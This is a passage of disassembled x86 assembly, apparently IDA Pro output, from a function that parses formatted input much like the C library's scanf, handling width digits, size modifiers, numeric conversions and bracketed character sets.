		mov	[ebp+var_34], ebx
		jz	loc_41C1FB
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B824
; ---------------------------------------------------------------------------


loc_41B81F:				; CODE XREF: sub_41B7F5+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41B824:				; CODE XREF: sub_41B7F5+28j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41B83C
		movzx	eax, al
		push	8
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41B84B
; ---------------------------------------------------------------------------


loc_41B83C:				; CODE XREF: sub_41B7F5+36j
		mov	ecx, ds:off_42F360
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B84B:				; CODE XREF: sub_41B7F5+45j
		cmp	eax, ebx
		jz	short loc_41B885
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41C282
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C26B
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41EB21
		add	esp, 0Ch


loc_41B873:				; CODE XREF: sub_41B7F5+8Ej
		test	eax, eax
		jz	short loc_41B885
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41EB21
		pop	ecx
		jmp	short loc_41B873
; ---------------------------------------------------------------------------


loc_41B885:				; CODE XREF: sub_41B7F5+58j
					; sub_41B7F5+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41C167
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41B8BC:				; CODE XREF: sub_41B7F5+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_42F56C, 1
		jle	short loc_41B8D9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41B8E8
; ---------------------------------------------------------------------------


loc_41B8D9:				; CODE XREF: sub_41B7F5+D3j
		mov	ecx, ds:off_42F360
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B8E8:				; CODE XREF: sub_41B7F5+E2j
		test	eax, eax
		jz	short loc_41B8FE
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41B963
; ---------------------------------------------------------------------------


loc_41B8FE:				; CODE XREF: sub_41B7F5+F5j
		cmp	ebx, 4Eh
		jg	short loc_41B941
		jz	short loc_41B963
		cmp	ebx, 2Ah
		jz	short loc_41B93C
		cmp	ebx, 46h
		jz	short loc_41B963
		cmp	ebx, 49h
		jz	short loc_41B91E
		cmp	ebx, 4Ch
		jnz	short loc_41B950
		inc	[ebp+var_D]
		jmp	short loc_41B963
; ---------------------------------------------------------------------------


loc_41B91E:				; CODE XREF: sub_41B7F5+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41B950
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41B950
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41B963
; ---------------------------------------------------------------------------


loc_41B93C:				; CODE XREF: sub_41B7F5+113j
		inc	[ebp+var_E]
		jmp	short loc_41B963
; ---------------------------------------------------------------------------


loc_41B941:				; CODE XREF: sub_41B7F5+10Cj
		cmp	ebx, 68h
		jz	short loc_41B95D
		cmp	ebx, 6Ch
		jz	short loc_41B955
		cmp	ebx, 77h
		jz	short loc_41B958


loc_41B950:				; CODE XREF: sub_41B7F5+122j
					; sub_41B7F5+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41B963
; ---------------------------------------------------------------------------


loc_41B955:				; CODE XREF: sub_41B7F5+154j
		inc	[ebp+var_D]


loc_41B958:				; CODE XREF: sub_41B7F5+159j
		inc	[ebp+var_5]
		jmp	short loc_41B963
; ---------------------------------------------------------------------------


loc_41B95D:				; CODE XREF: sub_41B7F5+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41B963:				; CODE XREF: sub_41B7F5+107j
					; sub_41B7F5+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41B8BC
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41B988
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41B988:				; CODE XREF: sub_41B7F5+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41B9A6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41B9A2
		cmp	al, 43h
		jz	short loc_41B9A2
		or	[ebp+var_5], 0FFh
		jmp	short loc_41B9A6
; ---------------------------------------------------------------------------


loc_41B9A2:				; CODE XREF: sub_41B7F5+1A1j
					; sub_41B7F5+1A5j
		mov	[ebp+var_5], 1


loc_41B9A6:				; CODE XREF: sub_41B7F5+19Bj
					; sub_41B7F5+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41B9DF
		cmp	esi, 63h
		jz	short loc_41B9D0
		cmp	esi, 7Bh
		jz	short loc_41B9D0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41C282
		pop	ecx
		jmp	short loc_41B9DB
; ---------------------------------------------------------------------------


loc_41B9D0:				; CODE XREF: sub_41B7F5+1C5j
					; sub_41B7F5+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251


loc_41B9DB:				; CODE XREF: sub_41B7F5+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41B9DF:				; CODE XREF: sub_41B7F5+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41B9EF
		cmp	[ebp+var_C], eax
		jz	loc_41C1CB


loc_41B9EF:				; CODE XREF: sub_41B7F5+1EFj
		cmp	esi, 6Fh
		jg	loc_41BC56
		jz	loc_41BF08
		cmp	esi, 63h
		jz	loc_41BC33
		cmp	esi, 64h
		jz	loc_41BF08
		jle	loc_41BC80
		cmp	esi, 67h
		jle	short loc_41BA53
		cmp	esi, 69h
		jz	short loc_41BA3B
		cmp	esi, 6Eh
		jnz	loc_41BC80
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41C136
		jmp	loc_41C15C
; ---------------------------------------------------------------------------


loc_41BA3B:				; CODE XREF: sub_41B7F5+229j
		push	64h
		pop	esi


loc_41BA3E:				; CODE XREF: sub_41B7F5+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41BCC8
		mov	[ebp+var_17], 1
		jmp	loc_41BCCD
; ---------------------------------------------------------------------------


loc_41BA53:				; CODE XREF: sub_41B7F5+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41BA6F
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41BA74
; ---------------------------------------------------------------------------


loc_41BA6F:				; CODE XREF: sub_41B7F5+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41BA8B


loc_41BA74:				; CODE XREF: sub_41B7F5+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BA8E
; ---------------------------------------------------------------------------


loc_41BA8B:				; CODE XREF: sub_41B7F5+27Dj
		mov	edi, [ebp+arg_0]


loc_41BA8E:				; CODE XREF: sub_41B7F5+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41BA9D
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41BAA4


loc_41BA9D:				; CODE XREF: sub_41B7F5+29Dj
		mov	[ebp+var_C], 15Dh


loc_41BAA4:				; CODE XREF: sub_41B7F5+2A6j
					; sub_41B7F5+2F2j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41BAB9
		push	4
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41BAC4
; ---------------------------------------------------------------------------


loc_41BAB9:				; CODE XREF: sub_41B7F5+2B6j
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BAC4:				; CODE XREF: sub_41B7F5+2C2j
		test	eax, eax
		jz	short loc_41BAE9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41BAE9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BAA4
; ---------------------------------------------------------------------------


loc_41BAE9:				; CODE XREF: sub_41B7F5+2D1j
					; sub_41B7F5+2DBj
		cmp	ds:byte_42F570,	bl
		jnz	short loc_41BB57
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41BB57
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		mov	al, ds:byte_42F570
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41BB12:				; CODE XREF: sub_41B7F5+360j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41BB27
		push	4
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41BB32
; ---------------------------------------------------------------------------


loc_41BB27:				; CODE XREF: sub_41B7F5+324j
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BB32:				; CODE XREF: sub_41B7F5+330j
		test	eax, eax
		jz	short loc_41BB57
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41BB57
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BB12
; ---------------------------------------------------------------------------


loc_41BB57:				; CODE XREF: sub_41B7F5+2FAj
					; sub_41B7F5+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41BBEF
		cmp	ebx, 65h
		jz	short loc_41BB6F
		cmp	ebx, 45h
		jnz	loc_41BBEF


loc_41BB6F:				; CODE XREF: sub_41B7F5+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41BBEF
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41BB96
		mov	[esi], al
		inc	esi
		jmp	short loc_41BB9B
; ---------------------------------------------------------------------------


loc_41BB96:				; CODE XREF: sub_41B7F5+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41BBB9


loc_41BB9B:				; CODE XREF: sub_41B7F5+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41BBAA
		and	[ebp+var_C], eax
		jmp	short loc_41BBB9
; ---------------------------------------------------------------------------


loc_41BBAA:				; CODE XREF: sub_41B7F5+3AEj
					; sub_41B7F5+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BBB9:				; CODE XREF: sub_41B7F5+3A4j
					; sub_41B7F5+3B3j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41BBCE
		push	4
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBCE:				; CODE XREF: sub_41B7F5+3CBj
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BBD9:				; CODE XREF: sub_41B7F5+3D7j
		test	eax, eax
		jz	short loc_41BBEF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41BBEF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41BBAA
; ---------------------------------------------------------------------------


loc_41BBEF:				; CODE XREF: sub_41B7F5+366j
					; sub_41B7F5+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41C26B
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41C1FB
		cmp	[ebp+var_E], 0
		jnz	loc_41C15C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_4316C8
		add	esp, 0Ch
		jmp	loc_41C15C
; ---------------------------------------------------------------------------


loc_41BC33:				; CODE XREF: sub_41B7F5+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41BC42
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41BC42:				; CODE XREF: sub_41B7F5+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41BC4C
		mov	[ebp+var_16], 1


loc_41BC4C:				; CODE XREF: sub_41B7F5+451j
		mov	edi, offset dword_4316F0
		jmp	loc_41BD61
; ---------------------------------------------------------------------------


loc_41BC56:				; CODE XREF: sub_41B7F5+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41BF04
		sub	eax, 3
		jz	loc_41BD52
		dec	eax
		dec	eax
		jz	loc_41BF08
		sub	eax, 3
		jz	loc_41BA3E
		sub	eax, 3
		jz	short loc_41BCA4


loc_41BC80:				; CODE XREF: sub_41B7F5+21Bj
					; sub_41B7F5+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41C1CB
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41C15C
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41C15C
; ---------------------------------------------------------------------------


loc_41BCA4:				; CODE XREF: sub_41B7F5+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41BCAE
		mov	[ebp+var_16], 1


loc_41BCAE:				; CODE XREF: sub_41B7F5+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41BD65
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41BD61
; ---------------------------------------------------------------------------


loc_41BCC8:				; CODE XREF: sub_41B7F5+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41BCEF


loc_41BCCD:				; CODE XREF: sub_41B7F5+259j
		dec	[ebp+var_C]
		jnz	short loc_41BCDE
		cmp	[ebp+var_20], 0
		jz	short loc_41BCDE
		mov	[ebp+var_F], 1
		jmp	short loc_41BCEF
; ---------------------------------------------------------------------------


loc_41BCDE:				; CODE XREF: sub_41B7F5+4DBj
					; sub_41B7F5+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BCEF:				; CODE XREF: sub_41B7F5+4D6j
					; sub_41B7F5+4E7j
		cmp	ebx, 30h
		jnz	loc_41BF3D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41BD3D
		cmp	bl, 58h
		jz	short loc_41BD3D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41BD27
		push	6Fh


loc_41BD21:				; CODE XREF: sub_41B7F5+55Bj
		pop	esi
		jmp	loc_41BF3D
; ---------------------------------------------------------------------------


loc_41BD27:				; CODE XREF: sub_41B7F5+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C26B
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41BF3A
; ---------------------------------------------------------------------------


loc_41BD3D:				; CODE XREF: sub_41B7F5+517j
					; sub_41B7F5+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD52:				; CODE XREF: sub_41B7F5+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41BD5C
		mov	[ebp+var_16], 1


loc_41BD5C:				; CODE XREF: sub_41B7F5+561j
		mov	edi, offset dword_4316E8


loc_41BD61:				; CODE XREF: sub_41B7F5+45Cj
					; sub_41B7F5+4CEj
		or	[ebp+var_18], 0FFh


loc_41BD65:				; CODE XREF: sub_41B7F5+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41BD89
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41BD89
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41BD8C
; ---------------------------------------------------------------------------


loc_41BD89:				; CODE XREF: sub_41B7F5+584j
					; sub_41B7F5+589j
		mov	dl, [ebp+var_35]


loc_41BD8C:				; CODE XREF: sub_41B7F5+592j
					; sub_41B7F5+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41BDF1
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41BDD8
		test	dl, dl
		jz	short loc_41BDD8
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41BDD8
		inc	edi
		cmp	dl, cl
		jnb	short loc_41BDAB
		mov	al, cl
		jmp	short loc_41BDAF
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41B7F5+5B0j
		mov	al, dl
		mov	dl, cl


loc_41BDAF:				; CODE XREF: sub_41B7F5+5B4j
		cmp	dl, al
		ja	short loc_41BDD4
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41BDBC:				; CODE XREF: sub_41B7F5+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41BDBC


loc_41BDD4:				; CODE XREF: sub_41B7F5+5BCj
		xor	dl, dl
		jmp	short loc_41BD8C
; ---------------------------------------------------------------------------


loc_41BDD8:				; CODE XREF: sub_41B7F5+5A0j
					; sub_41B7F5+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41BD8C
; ---------------------------------------------------------------------------


loc_41BDF1:				; CODE XREF: sub_41B7F5+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41C1FB
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41BE03
		mov	[ebp+arg_4], edi


loc_41BE03:				; CODE XREF: sub_41B7F5+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41C26B
		pop	ecx
		pop	ecx


loc_41BE1A:				; CODE XREF: sub_41B7F5+6BCj
					; sub_41B7F5+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41BE2E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41BECA


loc_41BE2E:				; CODE XREF: sub_41B7F5+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41BEBE
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41BEBE
		cmp	[ebp+var_E], 0
		jnz	short loc_41BEB6
		cmp	[ebp+var_16], 0
		jz	short loc_41BEAB
		mov	ecx, ds:off_42F360
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BE8A
		inc	[ebp+var_4]
		push	edi
		call	sub_41C251
		pop	ecx
		mov	[ebp+var_37], al


loc_41BE8A:				; CODE XREF: sub_41B7F5+686j
		push	ds:dword_42F56C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41EA59
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41BEAE
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41B7F5+673j
		mov	[esi], al
		inc	esi


loc_41BEAE:				; CODE XREF: sub_41B7F5+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41BE1A
; ---------------------------------------------------------------------------


loc_41BEB6:				; CODE XREF: sub_41B7F5+66Dj
		inc	[ebp+var_30]
		jmp	loc_41BE1A
; ---------------------------------------------------------------------------


loc_41BEBE:				; CODE XREF: sub_41B7F5+649j
					; sub_41B7F5+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41C26B
		pop	ecx
		pop	ecx


loc_41BECA:				; CODE XREF: sub_41B7F5+633j
		cmp	[ebp+var_30], esi
		jz	loc_41C1FB
		cmp	[ebp+var_E], 0
		jnz	loc_41C15C
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41C15C
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BEFC
		and	word ptr [eax],	0
		jmp	loc_41C15C
; ---------------------------------------------------------------------------


loc_41BEFC:				; CODE XREF: sub_41B7F5+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41C15C
; ---------------------------------------------------------------------------


loc_41BF04:				; CODE XREF: sub_41B7F5+466j
		mov	[ebp+var_D], 1


loc_41BF08:				; CODE XREF: sub_41B7F5+203j
					; sub_41B7F5+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41BF16
		mov	[ebp+var_17], 1
		jmp	short loc_41BF1B
; ---------------------------------------------------------------------------


loc_41BF16:				; CODE XREF: sub_41B7F5+719j
		cmp	ebx, 2Bh
		jnz	short loc_41BF3D


loc_41BF1B:				; CODE XREF: sub_41B7F5+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41BF2C
		cmp	[ebp+var_20], 0
		jz	short loc_41BF2C
		mov	[ebp+var_F], 1
		jmp	short loc_41BF3D
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41B7F5+729j
					; sub_41B7F5+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251
		pop	ecx
		mov	ebx, eax


loc_41BF3A:				; CODE XREF: sub_41B7F5+543j
		mov	[ebp+var_14], ebx


loc_41BF3D:				; CODE XREF: sub_41B7F5+4FDj
					; sub_41B7F5+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41C056
		cmp	[ebp+var_F], 0
		jnz	loc_41C034


loc_41BF51:				; CODE XREF: sub_41B7F5+82Cj
		cmp	esi, 78h
		jnz	short loc_41BFA5
		cmp	ds:dword_42F56C, 1
		jle	short loc_41BF6E
		push	80h
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41BF7B
; ---------------------------------------------------------------------------


loc_41BF6E:				; CODE XREF: sub_41B7F5+768j
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BF7B:				; CODE XREF: sub_41B7F5+777j
		test	eax, eax
		jz	loc_41C026
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41EB50
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41C21A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BFF8
; ---------------------------------------------------------------------------


loc_41BFA5:				; CODE XREF: sub_41B7F5+75Fj
		cmp	ds:dword_42F56C, 1
		jle	short loc_41BFBA
		push	4
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41BFC5
; ---------------------------------------------------------------------------


loc_41BFBA:				; CODE XREF: sub_41B7F5+7B7j
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BFC5:				; CODE XREF: sub_41B7F5+7C3j
		test	eax, eax
		jz	short loc_41C026
		cmp	esi, 6Fh
		jnz	short loc_41BFE3
		cmp	ebx, 38h
		jge	short loc_41C026
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41EB50
		jmp	short loc_41BFF2
; ---------------------------------------------------------------------------


loc_41BFE3:				; CODE XREF: sub_41B7F5+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_415930


loc_41BFF2:				; CODE XREF: sub_41B7F5+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41BFF8:				; CODE XREF: sub_41B7F5+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41C010
		dec	[ebp+var_C]
		jz	short loc_41C034


loc_41C010:				; CODE XREF: sub_41B7F5+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41C026:				; CODE XREF: sub_41B7F5+788j
					; sub_41B7F5+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C26B
		pop	ecx
		pop	ecx


loc_41C034:				; CODE XREF: sub_41B7F5+756j
					; sub_41B7F5+819j
		cmp	[ebp+var_17], 0
		jz	loc_41C11A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41C11A
; ---------------------------------------------------------------------------


loc_41C056:				; CODE XREF: sub_41B7F5+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41C112


loc_41C060:				; CODE XREF: sub_41B7F5+90Aj
		cmp	esi, 78h
		jz	short loc_41C0A4
		cmp	esi, 70h
		jz	short loc_41C0A4
		cmp	ds:dword_42F56C, 1
		jle	short loc_41C07F
		push	4
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41C08A
; ---------------------------------------------------------------------------


loc_41C07F:				; CODE XREF: sub_41B7F5+87Cj
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C08A:				; CODE XREF: sub_41B7F5+888j
		test	eax, eax
		jz	short loc_41C104
		cmp	esi, 6Fh
		jnz	short loc_41C09D
		cmp	ebx, 38h
		jge	short loc_41C104
		shl	edi, 3
		jmp	short loc_41C0DC
; ---------------------------------------------------------------------------


loc_41C09D:				; CODE XREF: sub_41B7F5+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41C0DC
; ---------------------------------------------------------------------------


loc_41C0A4:				; CODE XREF: sub_41B7F5+86Ej
					; sub_41B7F5+873j
		cmp	ds:dword_42F56C, 1
		jle	short loc_41C0BC
		push	80h
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41C0C9
; ---------------------------------------------------------------------------


loc_41C0BC:				; CODE XREF: sub_41B7F5+8B6j
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41C0C9:				; CODE XREF: sub_41B7F5+8C5j
		test	eax, eax
		jz	short loc_41C104
		push	ebx
		shl	edi, 4
		call	sub_41C21A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C0DC:				; CODE XREF: sub_41B7F5+8A6j
					; sub_41B7F5+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41C0EE
		dec	[ebp+var_C]
		jz	short loc_41C112


loc_41C0EE:				; CODE XREF: sub_41B7F5+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C251
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41C060
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41B7F5+897j
					; sub_41B7F5+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C26B
		pop	ecx
		pop	ecx


